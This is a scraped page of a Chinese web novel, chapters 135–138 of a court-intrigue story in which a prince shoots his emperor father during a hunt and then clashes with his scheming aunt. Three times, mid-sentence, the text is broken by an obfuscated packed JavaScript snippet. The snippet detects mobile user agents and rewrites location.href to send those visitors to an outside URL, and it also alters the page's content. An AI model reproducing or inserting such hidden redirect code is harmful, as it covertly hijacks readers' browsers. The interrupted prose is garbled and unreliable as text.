“枫儿,你这些日的骑□□进了不少,明日的狩猎可要一展风采。” 周湘见眼前两个人实在尴尬,便一脸慈祥地望着儿子说道,萧祺枫讷讷点头称“是”。 因为萧霖的缘故,萧祺枫和周湘也算不上亲近,他觉得是萧霖的存在成了他们母子之间的隔阂。 周湘是个心思单纯的,她像这天底下大多数母亲一样只盼着儿子康乐,可她偏偏又是皇后,她知道自己是被送进来稳固周家势力的,她能做的就是对一切视若无睹,然后没心没肺的活着。 所以今日萧祺枫能成这副模样,他身边没有一个人是无辜的。 “若是累了,就先休息一会,明日的狩猎怕是辛苦。我若再年轻十岁估计还能与你一同策马,如今不行了,只能骑着马在你们后头远远看着。” “父亲说笑了,您筋骨康健,力挽山河,明日定能夺得魁首。” 萧祺枫躬身行礼,紧接着他看到自己行礼的手被一双大手包住,他抬头是萧霖笑着望他,“你我之间不必说这些冠冕堂皇的话,我膝下子嗣单薄,你是不可多得的骄子。” 那为何姑姑千方百计要立我为太子,您却多加阻拦,哪怕是萧祺桓被废,您都从来没有考虑过我。 萧祺枫嘴角微微抽动,眼神中闪过一些不知是失落还是轻蔑的情绪。 那日崇宁在书房里同萧霖对峙之后,一回到自己的寝宫就看到萧祺枫等在那里。 崇宁也不知是哪里来的无名火,她将自己在萧霖那里落了下风的愤懑全宣泄到了萧祺枫身上。 “你跑到我这里来顶什么用,我让你多去萧霖面前显眼,你明明是个机灵的,怎么就在这件事上转不过弯?我是能直接下令让你做太子,可那时你就会成史书上得位不正的皇帝,你要受多少言官御史的讥讽,世家的嘴不是那么好堵的。” 崇宁说着瞪了萧祺枫一眼,她由宫女服侍着褪去外衣,萧祺枫在一旁不动声色地接过来替她挂好,崇宁侧身望了他一眼,“你倒是把这一套用到他身上啊。” 萧祺枫悻悻地笑着道:“侄儿粗愚,也就姑姑不弃。我能将姑姑侍奉妥帖已经很好了,再无其他心思。” 萧祺枫的话明里暗里表忠心,崇宁虽然怒其不争,可心里多少得到了些宽慰,最起码萧祺枫是个知道感恩的,生在这皇家已经实属不易。 “他过几日要春狩,你好好表现,我借势逼他立你做太子。” “今日他又拒绝了?” 萧祺枫说话时不自觉压眉,崇宁望见他的神色心里竟还生出些怜惜。 “他说的倒也没错,前脚废了萧祺桓,后脚就立你做太子,他非得背上个朝令夕改的名声,过些日子再立也不耽误。” 萧祺枫没有回话,崇宁听到他轻笑一声,眼神空洞地望着前方。 “你等了十几年了,就这几天还等不了?反正届时他若不立你做太子,我就让崔擎舟打回阙州,我们自己当皇帝。” “姑姑,”萧祺枫出声打断了崇宁,“可那时候我这位子就正了?” 萧祺枫的问题像是他心中情绪的导火索,“您瞻前顾后说是为了我的名声着想,其实您也对父亲下不去手吧。旁人都说父亲耳根软,尽听了您的唆使,可您又为他考虑了多少?一句他都不过是受您蒙蔽,替他瞒下了多少荒唐事?” 崇宁正拆着头上的簪子,她那双手扶在珠翠上停了下来,镜中倒映出萧祺枫的面容,她看见萧祺枫缓缓摇头道:“你们两个谁也说不着谁,南魏能有今日你们都有不可推卸的责任。姑姑,你若当真硬气,当日离皇位只有一步之遥的可是您,您怕什么呢?” 崇宁没想到平日吊儿郎当的萧祺枫突然开始在自己面前发疯,她缓了缓神,讥笑道:“是,当日是我自卑,是我觉得自己上不得台面,我觉得我是女子,我是人妇,我是任人踩踏的不受宠的公主,我配不上那皇位,我也不敢。够了吗?” 崇宁转身看着萧祺枫,“所以我费心替你们扫清门前雪,替你们除尽挡路人,我把脏事坏事做尽,就为了让你们清清白白居高堂,我错了吗?” “可您为了什么?” 崇宁一时语塞。最初,她只为了和苏扬争个高低,事到如今她也不知道自己在争什么,或许就为那一口气,就为了万事不能输。 可这话她不能说给萧祺枫,崇宁笑了笑道,“我想要什么你还不清楚?” 萧祺枫不禁失笑,他和崇宁对视一眼后都没有再说话。 萧祺枫知道崇宁想在他这里得到在萧霖那里失去的一切,可萧祺枫也很清楚,自己也给不了她。 这南魏的皇帝,永远只能是一个人。 萧祺枫回过神来,他虽然心里对萧霖的言行嗤之以鼻,可面子上依旧恭敬地应道:“儿臣知道了。” 萧霖满意地点头,缓缓斜靠在一旁闭上了眼,萧祺枫知道他没有睡,他也只是不知道要和自己说些什么。 望着突然老了的父亲,萧祺枫突然盯着萧霖的眉眼失了神。 他记忆里与萧霖最亲近的一次,是他七岁得了皇子诗赋文选的第一名,萧霖笑着将他高高抛在空中。那是萧霖第一次对他笑得那么开心,他被萧霖稳稳接住,然后牢牢抱在怀里,他围着萧霖的脖子,斜靠在他的肩上任由他将自己抱回了周湘的宫殿。 后来在饭桌上他知道了,原来是温皇后有了身孕。 父亲的开心不是因为他。 从那之后萧祺枫就和萧霖亲近不起来了,萧霖来皇后宫里的次数越来越少,崇宁在萧祺栩出生后直接将萧祺枫接到了自己宫里养着。 萧祺枫几乎只在各种宴会上朝萧霖敬过酒,萧霖每次对他的祝词甚至都是一样的“平安喜乐”。 可喜乐,我好像做不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298044|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 萧祺枫苦笑着,他身边的周湘用自己温热的手盖住了萧祺枫冰凉的手,萧祺枫抬头对她报以宽慰的笑容。 这世间,只要自己才会真的对自己好,只有自己才是永远的依靠。 萧祺枫回握住周湘的手,也闭着眼睛假寐,他心里决定了一些事情,反而觉得长久堵在胸口的郁气消散了。 是夜,一行人的马车亥时三刻才到营地,负责迎接的士兵睡眼惺忪的招呼着其他人,萧祺枫被安排在了离萧霖最近的营帐,他进去后没有点蜡,却也一夜未眠。 第二日,外面嘈杂的叫嚷声响起,萧祺枫掀开帐帘走出去,看到自己帐前拴着一匹棕色的马。那马的品种是他平日最喜欢的,但他断定这一切不是萧霖安排的。 萧祺枫牵着马朝营地中心走去,一路上过往的人都招呼他作“枫殿下”。 以前他从未觉得这称呼有何不妥,可今日听起来却满是嘲讽,仿佛所有人都断定他即使赢了今日的比赛,也依旧还是枫殿下。 萧祺枫心不在焉地往前走,快到典礼台的时候候着的奴仆上千接过了他手里的缰绳,引着他去了他的位置。 今年的春狩规模比往年是要逊色一些,南魏连打了几场败仗,又少了几块赚钱的地方,今年的税收大不如前,可萧霖为了撑场面叫来的啸龙营给春狩增添了几分战时的肃穆,让简单的狩猎也像是硝烟四起的战场。 “维天眷命,圣武昭彰。朕承祖德,躬狩于疆。弓矢既调,骏马腾骧。仰祈神佑,百兽率从。俾我羽猎,既和且昌。克彰天威,永固金汤。钦哉!” 典礼开始,萧霖一段慷慨陈词点燃了气氛,几个世家子跃跃欲试,最外围站着刚武选出来的几个意气少年,崔擎舟看着他们突然有些恍惚,想当年他也是这副模样,期盼着能在皇帝面前一展雄姿,好夺个军中统领的位置。 只是今日崔擎舟已然没有了当日的心境,他跟在萧霖身侧负责春狩的外围巡视,一会儿人跑起来他就跟着去场中督察,他是做到将军的位置,可依旧不过是萧霖摆在书房里的花瓶。 萧祺桓一朝跌落,仿佛也连带着将崔擎舟刚燃起来的雄心壮志扑灭了,他看不到南魏的希望,他看到的只有尔虞我诈和勾心斗角。 只要这战火不是火烧眉毛,他们便能稳如泰山地专注着自己心里的营算。崔擎舟紧了紧手里的鞭子,看着萧霖由人引着朝自己这边过来了。 “走吧,你同我一起去场中,也给我配一把弓,我想试试还能不能拉得动。” 萧霖推开了搀扶着的内侍,自己挣扎着跨上马,他坐定后无奈地摇头道:“果然还是老了,这腿是越发没用。” 崔擎舟本想说句奉承的话,可他心里刚对南魏的一切展开过猛烈抨击,他觉得此时若是开口,定说不出什么好听的,于是他招手让手下将自己的弓箭送上来,又给萧霖的随从递过去一袋翎羽箭矢。 “陛下万要当心,臣去外围巡视一圈就回来。您且握好手里的缰绳,这马烈,容易给人使绊子。” “都是老伙计了,十年前我就骑它,它的秉性我怎么会不了解?崔将军放心去吧,我只是去一睹我南魏少年的英姿,定不会逞强。” 崔擎舟点了点头,临走时递给身后手下一个眼神,那人便在萧霖动身后不远不近地跟着,直到萧霖看到萧祺枫,他转身朝护卫说道:“回去吧,都到这儿了还能有什么危险。我难得和儿子一同骑射,你们也要跟着?” 不远处的护卫望向萧霖的侍卫,两人对视一眼后停住了脚,萧霖脸上浮出一丝笑意,他牵着马一步一步朝萧祺枫靠近。 树影摇曳的间隙,萧祺枫快马飞驰在林间,他左手持弓右手握箭,只听“嗖”的一声,不知何处一声鹿鸣撕裂天空,跟在他身后的小厮奉承了两句,屁颠屁颠地跑过去捡猎物。 “好箭法,过去我怎么没注意到你有如此高超的技艺?” 136.吊民伐罪(三) 西芥营中。 那日陈京观从军营回来,不知道是不是苏清晓的错觉,他觉得陈京观像是彻底放弃了一直坚守的东西,他卸下了肩上的担子,却也失去了立于世的根基,他成了一株浮萍,任由水波荡漾,他自横流。 夜晚,陈京观叫来了萧祺栩,望着他沉默了很久,开口时只说了一句:“不要辜负自己的雄心,只有这样才能不辜负所有为你铺路的人。” 萧祺栩对陈京观的话一知半解,可苏清晓几乎立刻明白了其中的意思,他与陈京观对视的瞬间,他看到了陈京观眼底的空洞。 他的眼睛就像是不可见底的深渊,苏清晓被他眼中名为凄迷的黑色吸住了,他听到陈京观叫住要离开的萧祺栩道:“小栩,你可愿拜苏先生为师?” 帐中两人一时间都看向陈京观,陈京观迈步走到两人中间,他看了看苏清晓,然后转头对萧祺栩说:“这些日子你该能看明白,苏先生可不只是个简单的大夫,我的心思他能瞬间领悟,我想不到的他也都能想到,苏先生会是个好老师。” “我愿意,那兄长呢?我原以为您会做我的师父。” 成为帝师,然后成为宰相,好像当陈京观决定要辅佐萧祺栩的时候,他的人生就应当是这样的,可他不以为意。 萧祺栩望着陈京观,陈京观回避了他的目光,他低头时翘起嘴角,苏清晓看到他眼神发直像是在思索着什么。 “我做不了帝师,我没有称王称相的魄力。” 萧祺栩本还想反驳,却见苏清晓抬手止住了他的话,他只好作罢,向后退了一步恭恭敬敬跪在地上朝苏清晓磕了三个头。 “苏先生在上,请受学生三拜。” 萧祺栩额头落在地上的每一声都无比清脆,苏清晓望着他行完了所有礼数,他侧过身看了看出神的陈京观,笑着摇了摇头将心里的话作罢,走上去扶起萧祺栩。 “我苏家两代人都是靠功名在这南魏占了一席之地,当中蹉跎我自知其意。我苏清晓本无意朝堂,乐得在山野间荒废时光,今日承蒙栩殿下不弃,愿意认了我这苏家子做师父,从今往后我苏清晓便将身家性命全系于南魏,系于您身上,终有一日我会陪您看到天下海晏河清。” 苏清晓浑身上下摸了个遍,手不自觉地停到了胸口。 苏晋随着遗书寄来的还有一块苏清晓母亲生前一直带着的玉佩,一半苏清晓离家时带走了,另一半一直由苏晋拿着,如今两块合二为一。 苏清晓拿出了其中的右半边递给萧祺栩,“我也没什么东西能给你,这是我母亲留给我的,如今你我一人一半,我希望你怀瑾握瑜,永远记得你最想要的是什么。” 萧祺栩接过了那半块碧玉,他眼神游移望向苏清晓,苏清晓笑着点头道:“收下吧,我苏清晓可不轻易许诺。若我哪一日做了对不起你的事,你可以拿这块玉要挟我,若你哪一日不配再做我徒弟,我也会亲手问你讨回来。” 苏清晓玩笑似的说着,可萧祺栩目光灼灼应道:“永远不会有那一天的,您与兄长的恩情我这辈子都还不清。” 萧祺栩学着苏清晓的样子把玉佩贴身收好,苏清晓笑着没说话。 “那我先下去了,我约好让席英姐姐教我和春晓一同练剑。” 萧祺栩看得出眼前的两人心里都有话,他识相地找了个由头离开了帐篷。他一走,苏清晓绷着神经松了些,他懒散地倚在陈京观的榻上,有一搭没一搭地问:“你是想借他的手洗清我苏家上两代人的龌龊事?” 人的记忆就同他们的目光一样是有限的,大部分人看不到更深的东西。想要真正隐瞒一件事,就只有戳破它,或者覆盖它两种方法。 苏清晓从前是打算用第一种的,他想以自毁的方式拆穿苏家的虚伪,可陈京观指给了他第二条路,他给了苏清晓一个改写祖辈错误的机会。 其实若没有苏晋那封信,苏清晓是不想替他们隐瞒的,可苏晋死了,苏清晓知道他不该用死亡轻易消除掉苏晋犯下的错误,可那是他的父亲,他难得自私一回还是为了自己。 所以苏清晓心软了,若他真的当上了帝师,便没有人会再想起曾经风光的苏扬和苏晋,也就没有人会知道他们身上的阴影,苏清晓的所作所为将会成为世人看待苏家的又一镜子。 “我方才说的是心里话,我坐不了那个位置,我受不来了的。” 陈京观苦笑着应道,苏清晓仰着头看他,听到他继续说:“那日我见到萧祺桓,他真的好适合做皇帝,可我还是为了小栩逼他放弃了太子的位置。其实我们有更好的方法,我们大可以强攻下廊州,只是那样小栩就抢不过他了。清晓,他说我变得冷酷无情了。” 陈京观说到这怔怔发笑,可苏清晓却觉得那笑比哭还难看,他正经了起来,端坐在榻边,指了指自己对面的椅子让陈京观坐下说话。 “那我最后再问你一次,你做些是为了南魏吗?” 陈京观摇头道:“我替南魏死过一次了,我不欠任何人的。如今谁给我兵谁给我钱,谁给我官位谁给我权,我就替谁去打一打天下。” “那你在顾忌什么?” “我怕我又看错了人。” 陈京观的头慢慢转向萧祺栩离开的方向,“我和他十年没见了,十年会彻底改变一个人的。西芥把他培养成了狼,他真愿意拔去爪牙去做世家的犬吗?” 苏清晓思忖片刻,深吸一口气又不禁发笑道:“所以你是要让我做拴住他的锁链。” 陈京观点头,苏清晓脸上笑意渐浓,“好,那我就尽全力去试试,若做不成,你不会怪我吧?” 陈京观笑着没回话,苏清晓却撇了撇嘴站起身来,“你也怪不着我,我可是唯一不欠你的人。” 说罢苏清晓转身就要离开,却见沁格带着平芜急匆匆跑进来,平芜嘴里的气还没有喘匀,忙双手递上谍子的情报。 “萧霖死了,萧祺栩继位。” …… 南魏廊州皇家狩场。 萧祺栩应声望去,只看一身灰白色长袍的江阮慢慢从草间走来,他身边带着一个看上去岁数不大的小孩,萧祺栩像是没想到他会如此光明正大出现,他眉间一皱望向江阮道:“你怎么来了?” 还没等江阮说话,那个去捡猎物的内侍“啊”的尖叫一声,随后他一边退一边想要出声叫人。可不知何时江阮身边的小姑娘不见了,萧祺栩再看过去的时候,内侍人头落地,四周静悄悄的仿佛什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303489|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么也没发生。 “来恭喜枫殿下,不,南魏皇帝。” 江阮故作臣服地朝萧祺枫鞠躬,萧祺枫一惊,险些将手里的弓箭掉在地上,他眼中的惊恐尚有余温,他便迫不及待地冲到江阮面前斥道:“你在监视我!” 江阮面不改色,反而萧祺枫感觉自己后腰抵了一把出了鞘的长刀,他越是用手里的箭矢逼近江阮的喉咙,那刀尖便越是深入地一层层刺破他的皮肉。 “殿下应该早就知道啊,不然江某怎么能在您最需要的时候送上东亭这把刀,只可惜您自己露了马脚,让对面的人抢先一步找到了应对措施,保下了萧祺桓,不然您也不用大张旗鼓搞这一出弑君的戏码。” 弑君,萧祺枫像是被江阮彻底点醒,他刚才的所作所为,是在弑君,是在弑父。 萧祺枫眼睁睁看着萧霖走进了这片树林,他身边一个人都没有,而这片林子萧祺枫事先让人围住了,不会有人再进来。 萧祺枫的箭瞄准了一头公鹿,它的鹿角暴露了它,可那公鹿像是发现了他的注视,在萧祺枫行将发箭的时候急速向前跑。 萧祺枫用目光紧跟着它,直到它和萧霖出现在一条直线上。萧祺枫骑在马上,跟着他的内侍只能小跑追他,此时只有萧祺枫能看到不远处那匹黑马在往前一步步走着,上面坐着的正是昨日与他嘘寒问暖的父亲。 萧祺枫的手心开始冒汗,他感觉自己快要握不住这支箭了,终于,那头公鹿离开的瞬间,萧祺枫的箭直穿萧霖的心脏。 那公鹿受惊跑开了,萧祺枫身后的内侍以为是它被射中后发出了一声惨叫,可他跑过去时看到萧霖躺在地上,双目微睁,脸上竟还着一丝不明所以的笑容。 “你想做什么?” 萧祺枫的眼睛紧盯着江阮,江阮后退一步躲开了他的箭头,他示意跟着自己的谍子过来。 “殿下还是太心急,长公主不是应了要为您逼萧霖一把吗?这对她来说可不是那么容易下定决心的,您这么做可是要让她伤心了。” “姑姑做不到的。” 萧祺枫语气笃定,“在她眼里我始终是父亲的替代,父亲才是她最满意的君主人选。我想要的,只能我自己来抢。” 闻言,江阮抬手漫不经心地鼓掌,他嘴角沁出一抹笑,“看来殿下也不似江某想象中的天真,那好办了,江某替您除掉了最后一个知道这件事的,我的人也会帮您收拾残局,您只用装出一副孝子的模样哭倒在崇宁面前,她会借势拥立您做皇帝的。” 江阮像是不经意一般往前走了一步,萧祺枫感觉他的气息扑面而来,“最后再恭喜殿下,下次见面就要改口叫陛下了。” “这次你要什么?” 萧祺枫叫住了江阮,江阮示意自己身边的谍子先去办事,他没有回头,萧祺枫听到风中传来他略带笑意的声音。 “您会知道的,我保证,用不了多久。” 江阮走了,如同他来时一般悄无声息,他的离开同时带走了萧祺枫的最后的一丝力气,他手里的弓箭掉落草中,他也像是脱力一般滑下马,他跌坐在地上,手腕因为与枝叶刮碰留下几道血印子,他慢慢红了眼。 “来人啊!救驾!皇上遇险!” 137.吊民伐罪(四) “谁杀了他?” 陈京观语气冰冷,他甚至没有打开手上的信,苏清晓在一旁问道:“你怎么知道他是被杀了的?” 陈京观没回答,他盯着平芜像是要用目光钳住他,平芜抿了抿嘴,“您觉得呢?就凭我前后这两句话。” “呵,”陈京观连连冷笑,他向后退了一步靠在桌上,“好一个大孝子,我是真没想到他恨萧霖到了这个地步。只凭萧霖的身体抗不了多久了,他连这些日子都等不及吗?” 陈京观没有意识到,他话里话外都暗暗藏着对萧霖的感情,他脸上的表情没有丝毫变化,可苏清晓知道他快要站不住了。 “他是怕等到那一天,那个位子也不是他的。人不怕得不到,怕的是空欢喜一场。” 苏清晓说着,他望见平芜欲言又止,他朝平芜点点头让他继续说。 “我有一句不知当说不当说。”平芜犹豫着看向陈京观,“我觉得萧霖他知道。” 知道自己会死,知道自己会被萧祺枫杀死。 所以萧霖选了春狩,选了自己骑了十年的马,而萧祺枫的那匹,正是那黑马的孩子。 萧霖这辈子都记得自己和先帝在狩猎场上驰骋的快乐,那也是他第一次觉得自己是父亲的孩子,是南魏的皇子,他想让萧祺枫也能记住这一天。 当然,萧霖觉得萧祺枫记住的应该不是快乐,而是他满手鲜血抱着自己叫父亲。 起初萧霖并没有十足的把握萧祺枫会对自己下手,他听得出萧祺桓的警示,他知道萧祺枫已经被掉在面前的皇位逼疯了,他甚至还没坐上来就已经成了皇位的奴隶。 可萧霖又觉得萧祺枫本性是善良的,他从小到大见不得杀生,过去春狩他的成果总是最少的,崇宁嫌他不争气,他总是用两句甜言蜜语哄得崇宁开心。 萧霖直到看到萧祺枫的那一刻都还抱着侥幸。 他是在这让人坐卧不宁的位置上厌倦了,他每日如同机器一般上朝下朝,批阅折子,见大臣,他已经失去了自己,他早就希望时光能早一些带他走,他想去看看以前的那些老伙计。只是被自己的儿子亲手结束生命,这对任何一个父母来说都无疑是致命的嘲讽。 萧霖的侥幸以失败告终,而他也是个彻头彻尾失败的父亲。 萧霖看着胸口的血洞不停地向外翻涌着鲜血,慢慢濡湿了他的橙黄色外衣,他握着缰绳的手松了松,他用尽最后一丝力气夹紧马身,他□□的马像是得了旨意,一个跃身将萧霖重重摔在地上。 萧霖临死前,又看到了周湘怀里抱着的萧祺枫。 “像萧霖那般谨慎的人不会什么也没有察觉到,尤其桓殿下临走时在他书房呆了那么久,他一定同萧霖说了许多有关萧祺枫的事情。可萧霖还是办了春狩,是他给了萧祺枫一个机会杀死自己。” 平芜一口气说完,他望着陈京观的目光带着试探,像是在期待他的认同,可陈京观陷在平芜的话里一言不发。 “平统领,近些日子恐怕要麻烦您多留意东亭的动向,我怕江阮又要有动作了。” 苏清晓出声打破了宁静,平芜点头应了声“好”,陈京观看向他的时候眼神里带了三分笑意,“不错啊,长进了不少,看来是和苏先生偷师了?” 陈京观嘴上说着玩笑,可他的反应逃不过苏清晓的眼睛,只是平芜并没有试着去理解陈京观深处的东西,他回头笑着朝陈京观得意地努了努嘴。 平芜离开后,一直沉默的沁格轻咳一声,陈京观看着她,点点头道:“是,您的感觉很准,我们该出兵了。” 沁格深吸一口气却又像是松了一口气,“我以为你还要为萧霖的死沉湎几日,你也不错啊,长进了不少。” 沁格的调笑逗乐了屋里的两人,苏清晓模仿这沁格的语气暗戳戳向陈京观使坏,陈京观白了他一眼没有应声。 “只是你想好要怎么打了吗?” 陈京观敛了敛脸上的笑意,他眸子里流转着几乎让人看不出端倪的晶莹。 “既然他要帮我,那我怎么能辜负了他,他的死便是我回京的理由。” 陈京观微微仰头合上眼睛,再睁开时,他眼前是西芥十万铁骑。 “起兵,勤王!” …… 另一侧,萧霖在狩场意外落马身亡提前结束了南魏的春狩,崇宁厉声呵斥了乱作一团的南魏朝臣,她暂时将玉玺收入囊中,担起了主持大局的工作。 可正如她二十年前预料的一般,她不过是在皇帝的书房里呆了一周,催促她早日拥立新王的消息就摩肩接踵而至。 明明只有她能在这个时候稳住时局,可所有人只能看到她是个女人,认为她不该出现在国之重器旁。 崇宁在事发后找过崔擎舟,她认为春狩的事情非同寻常,这一切太巧了,崇宁从来不相信什么巧合。而崔擎舟对她摇了摇头,告诉她春狩一切正常,甚至那匹马都是萧霖自己选的。 崔擎舟临走时犹豫再三,最后他像是下定决心一般道:“殿下若是真的心有所疑,不如好好查查廊州一役桓殿下都遭遇了什么,查查我们为什么全军出击都赢不了。那时或许您能找到您想要的答案。” 崇宁被崔擎舟突如其来的示意震得出神,半晌后她叫来管墨,管墨只说是萧祺桓出兵前单独来见过崔擎舟一面,在这之后他们就改了原有的计划,可他没有听到他们的交谈,他也不知道是什么让萧祺桓改变了想法。 崇宁在管墨脸上看到了隐瞒,但她什么也没问,而是让管墨去找后院的内侍总管领银子。那天之后,管家人悉数消失在了月色中。 崇宁当然也不会善罢甘休,在萧祺栩扶着萧霖的灵柩下葬后,崇宁叫住了他。 “没什么想同我说的吗?” 萧祺枫一脸如丧考妣的样子逗笑了崇宁,“别假惺惺的,你瞒得了旁人瞒不了我,你巴不得萧霖早些死。” 萧祺枫依旧哭丧着脸没有说话,他抬起手摸了一把脸,两只眼睛像刚成熟的核桃青里发黑,他边抽泣边说道:“姑姑就一点都不伤心吗?” 闻言,崇宁不禁抽动起眼角,萧祺枫就继续道:“父亲死了,我们都该伤心的不是吗?” 可崇宁分明在萧祺枫的泪水里看到了喜悦。 “你的愿望终于实现了,恭喜啊,陛下。” 崇宁最后两个字几乎咬牙切齿,她原本是不愿意将自己心中所想到的那个最坏的起源和萧祺枫挂上号,可萧祺枫的表现连掩饰都没有,就差将自己的得意写在脸上。 此刻的崇宁已经没有失望了,她只觉得可笑,若不是现在还没有出陵寝,不然她一定会捧腹大笑。 “这就是你想到的办法?直接取而代之?萧祺枫,我知道你胸无点墨,可你怎么能愚蠢成这样?你觉得萧霖的位子是那么好坐的吗?你觉得没了我,你真的能坐稳吗?” 萧祺枫故作委屈地望着崇宁,“姑姑不要我了吗?” 崇宁冷哼了一声,“说吧,是谁在帮你?当时崔擎舟出兵前你来找我,我就觉得你不对劲,后来萧霖废了萧祺桓你又来找我,所以那时候你是在试探我,看我能不能替你做这件事是吗?只可惜我没有蠢到你这个地步。” “侄儿哪里有试探,不过是一次又一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308424|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告诉姑姑,我等不了了。我也是请您认清现实,萧霖是不会把位子给我的。” 萧祺枫脸上的伤心了无影踪,此时天色渐晚,皇陵所在的背山面冷风习习,崇宁看见萧祺枫脱下自己的披风。然后走过来围在她身上。 “我们早些回去吧,明日一早早朝,我去还是姑姑去?” 萧祺枫替崇宁系好绳结后并没有要后退的意思,他高大的如同一座山一般罩住了崇宁,崇宁仰着头看他,看着自己亲手养出来的毒蛇吐着信子对着她的脖颈跃跃欲试。 “怎么,你还想杀了我?” “侄儿不敢。”萧祺枫躬身行礼道,“只是如今夜半天凉,姑姑切记晚上睡觉关好门窗,若是有阿猫阿狗闯进去扰您清梦,侄儿也是鞭长莫及。” 萧祺枫说这话的时候什么表情都没有,活像那日站在书房与崇宁对峙的萧霖。 崇宁笑得天花乱坠,她紧了紧身上的披风,伸出一只手,萧祺枫识相地扶了上去。 “走吧,陛下。” 第二日,南魏皇四子萧祺枫继位,改国号承运,尊皇后周湘为皇太后,长公主崇宁为大长公主。因新帝尚且年幼,由大长公主掌玺一年,时至还为于天子。 这是崇宁与萧祺枫博弈到最后的结果,她只给自己拼来了一年的掌权时间,她甚至赔上自己亲弟弟的命。 不久后一日,大长公主突然告病,她的车驾天未亮就动身出了城,没有人知道她去了哪里,三日后她重新回到盛州,隔日行宫传出要将广梁平原赔让给东亭的旨意。 “姑姑。” 萧祺枫刚下朝,他甚至还没有离开大殿,内侍便急匆匆跑上前来伏到他耳边说道:“长公主下旨让出了广梁平原。” 那一刻萧祺枫以为自己听错了,想当初萧霖要舍弃阙州时崇宁大骂他贪生怕死,怎的萧霖一死这怕死的脾性倒是移到了崇宁身上。 但是萧祺枫面子上依旧波澜不惊,他不指望这个消息能瞒得住,可他不想在这些等着看他笑话的大臣面前露怯。 “众爱卿可还有事?无事便退下吧。” “陛下打算如何应对东亭的不断进攻?” 崔擎舟春狩后没有立刻回去,他不觉得自己呆在军营能改变的了什么,倒不如试着在这朝堂上说说话,至少证明他这个大将军还是个能喘气的。 “东亭,”萧祺枫顿了一下,“崔将军有何见解?” “上一次打廊州我们被对方设了埋伏,”崔擎舟说这话的时候始终没抬头,萧祺枫略有紧张的表情他也没看到,“若陛下仍信任末将,我愿意再试一次。” 崔擎舟的话惹起了不小的议论,他也不知道这些人是被打怕了还是怎么的,明明等下去就是死路一条,可他们还是愿意死在自己的安乐窝里,好像他们笃定就算死,也会有无数人比他们先死。 “崔将军这次有把握?” 崔擎舟摇头道:“战事无定局,可不能因为未战先怯。” 萧祺枫点了点头,“那崔将军先筹谋着,若是有了主意再来书房找我,今日就到这里吧。” 崔擎舟卡在嗓子眼的话被萧祺枫堵住了,萧祺枫话音刚落就由内侍带着飞奔去了崇宁的宫里,崔擎舟心想不好,立刻也冲出大殿。 萧祺枫踏进崇宁宫里的时候闻到一阵浓郁的药香,他不禁皱眉,他留了内侍在外面等着,自己拨开帘子进去。 “姑姑去见了谁?” 榻上的崇宁没抬头,她搅动着杯子里的中药,望着没滤干净的药渣浮在水面上。 “你不知道?不应该啊,他说你和他关系好得紧。” 138.吊民伐罪(五) 崇宁抬头的瞬间,看到萧祺枫露出了一瞬仓惶,她微微挑眉盯着萧祺枫,眼睛像是一把淬了毒的刀子。 “我知道你蠢,我也知道你贪心,可我不知道你怎么会这般不自量力?你是我一手养大的孩子,是我一心一意教出来的学生,是我教的不够好吗,你怎么步步破绽,步步死局?” 萧祺枫咽了咽口水,事到如今他终于生出一丝不安,他局促地向前走了两步,只听崇宁说道:“你觉得江阮这把刀好用是吗?那他拿走广梁的时候你就不应该心疼啊。你这是削肉饲虎,养虎为患,你不是自作聪明吗,怎么,没想到江阮要的是你和我的性命?” “萧祺枫,世人都道说北梁靠兵南魏靠权,那你以为这权是从何而来?南魏建国时七封诸侯,他们哪一个不是能当皇帝的?后来萧家的祖宗一步步削去他们的权柄,用荣华富贵养着他们,你是觉得你比祖宗们聪明?南魏自始至终就是一盘散沙,南魏没有了,死的只会是萧家,世家子有大把的钱财足够买下自己的命。” 崇宁赤着脚从榻上下来,紧接着她杯中温热的中药就泼在了萧祺枫脸上,萧祺枫一哆嗦,忙跪倒在地。 “你猜江阮为什么能看上你?你觉得自己独一无二是吗?你觉得自己是南魏既定的皇帝是吗?你也不想想,没了我你是个什么东西!你也不想想为什么萧霖会这般果断地迁都,他早就看出你的心思了,如今他把皇位留给你了,也把你的把柄留给了世家,你满意了?” 崇宁一脚踢在了萧祺枫肩上,她感觉自己快要被心中抑制不住的怒气涨破了,这几日她总能想到江阮那副人畜无害的脸对她说: “殿下想让我把这些也做成《敬告南魏臣民书》吗?上一封是我为北梁量身定制的,看元焕的反应该是有些功用,不知道这些能不能够也让南魏这些世家贵族为之一颤,能不能让他们看清此时坐在皇位上的人,是如何迫害阙州百姓的,是如何将世家基业拱手送给我的,是如何,一箭射穿先帝心脏的。这些,够不够让他们另起炉灶?” …… 